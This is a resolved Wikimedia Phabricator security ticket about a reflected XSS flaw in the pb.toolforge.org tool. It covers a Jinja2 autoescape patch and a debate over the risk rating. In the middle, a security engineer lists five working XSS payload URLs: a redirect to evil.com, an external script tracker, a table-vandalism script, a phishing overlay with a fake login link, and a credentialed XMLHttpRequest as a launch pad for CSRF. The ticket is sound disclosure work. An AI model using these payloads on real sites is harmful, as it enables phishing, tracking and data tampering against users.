Page MenuHomePhabricator

Reflected XSS on pb.toolforge.org
Closed, ResolvedPublicSecurity

Details

Risk Rating
Medium
Author Affiliation
Wikimedia Communities

Event Timeline

Maintainers are @Euku, @Ireas and Wiegels (I can't find a phab account).

Fix should be easy. In https://github.com/tool-labs/pb/blob/master/web/dynamic/index.py:

$ diff --git a/web/dynamic/index.py b/web/dynamic/index.py
--- a/web/dynamic/index.py
+++ b/web/dynamic/index.py
@@ -3,9 +3,13 @@

 def serve_page(page_name, arguments):
     # init Jinja2
-    from jinja2 import Environment, FileSystemLoader, TemplateNotFound
-    env = Environment(loader=FileSystemLoader(pb_db_config.base_path + 'templates',
-                                              encoding='utf-8'))
+    from jinja2 import Environment, FileSystemLoader, TemplateNotFound,
+                                              select_autoescape
+    env = Environment(
+        autoescape=select_autoescape(['html']),
+        loader=FileSystemLoader(pb_db_config.base_path + 'templates',
+                                              encoding='utf-8')
+    )
     try:
         template = env.get_template(page_name)
         print template.render(**arguments).encode('utf-8')

should do it, see https://jinja2docs.readthedocs.io/en/stable/api.html#autoescaping.

sbassett changed Risk Rating from N/A to High.

Thx, Zabe for your patch, but one point is missing: "cannot import name select_autoescap"
jinja2 needs to be upgraded, i.e. the virtual environment of the tool 'pb' needs to be updated too. Last time I touched the webservice I crashed it and was able to somehow rebuild it. Right now I can not even see the environment that is currently in use. There are multiple folder of them. Sorry, can't do this.

BTW, why is this "Risk High"? This tool has nothing like a user session or login or a possibility to make changes to the data base; its only a viewer for public data.

Thx, Zabe for your patch, but one point is missing: "cannot import name select_autoescap"
jinja2 needs to be upgraded, i.e. the virtual environment of the tool 'pb' needs to be updated too. Last time I touched the webservice I crashed it and was able to somehow rebuild it. Right now I can not even see the environment that is currently in use. There are multiple folder of them. Sorry, can't do this.

Sorry, my choice of words seems confident, however, I must say that I have not tested the patch. Maybe something like https://jinja2docs.readthedocs.io/en/stable/templates.html#working-with-manual-escaping works without upgrading jinja2.

BTW, why is this "Risk High"? This tool has nothing like a user session or login or a possibility to make changes to the data base; its only a viewer for public data.

Don't know, didn't set the risk rating.

BTW, why is this "Risk High"? This tool has nothing like a user session or login or a possibility to make changes to the data base; its only a viewer for public data.

So, reflected XSSes (aka "self-XSSes") are often classified as a medium risk - one can search for and peruse any number of CVEs and frameworks (e.g. OWASP Top 10, number 7, most reasonable CVSS scores) and see such classifications. And some frameworks notably have their severity ranked much higher. But assuming we start with a default medium risk, it becomes higher for a system like toolforge since it's 1) publicly exploitable in the wild, on a live system and 2) there are a number of attacks that can affect both the reputation and confidentiality of various systems. Most of the following examples involve a social engineering step, but that is often far easier to pull off than many people might assume.

standard evil redirect
https://pb.toolforge.org/index.py?p=<img src=x onerror='location.href="http://evil.com"' />
standard evil tracker (could be something like fingerprintjs)
https://pb.toolforge.org/index.py?p=<script src='https://security.toolforge.org/app/test.js'></script>
data vandalism - change the 3s to 8s and 9s to 4s within the data table
https://pb.toolforge.org/index.py?p=<img src=x onerror='xh=new XMLHttpRequest(); xh.open("GET", "https://pb.toolforge.org/", false); xh.onreadystatechange = function() { document.write(xh.responseText); th=document.getElementsByTagName("table")[0].innerHTML.replaceAll("3", "8").replaceAll("9", "4"); document.getElementsByTagName("table")[0].innerHTML=th; document.close(); }; xh.send();'/>
quick and dirty phishing site, with real enwiki
https://pb.toolforge.org/index.py?p=<img src=x onerror='document.write("<div><iframe frameborder=0 style=\"overflow:hidden;height:100%;width:100%\" height=\"100%\" width=\"100%\" src=\"https://en.wikipedia.org/\"></iframe><div id=abc style=\"float:right;position:absolute;top:0;right:480;color:white;background-color:white;height:35px;width:250px;\"></div><div id=xyz style=\"float:right;position:absolute;top:0;right:0;color:white;background-color:white;height:35px;width:65px;padding-top:20px;\"><a href=\"http://evil.com\" style=\"font-family:helvetica;font-size:12px;text-decoration:none;\">Log In</a></div></div>"); document.close();'/>
a nice launch pad to attempt csrfs, etc for insecure toolforge/cloud apps
https://pb.toolforge.org/index.py?p=<img src=x onerror='xh=new XMLHttpRequest(); xh.open("GET", "https://security.toolforge.org/app/coolpage.php", false); xh.withCredentials = true; xh.onreadystatechange = function() { alert(xh.responseText); }; xh.send();'/>

...and we've definitely seen more than a few security issues on toolforge/cloud. Note that my last example works fine in Firefox, but some config would need to be slightly changed for it to work in Chrome, by default.

Euku claimed this task.

After 2 years I finally fixed it. Thank for the support, guys!

sbassett triaged this task as Medium priority.Aug 23 2023, 3:59 PM
sbassett changed the visibility from "Custom Policy" to "Public (No Login Required)".
sbassett changed the edit policy from "Custom Policy" to "All Users".
sbassett changed Risk Rating from High to Medium.
sbassett awarded a token.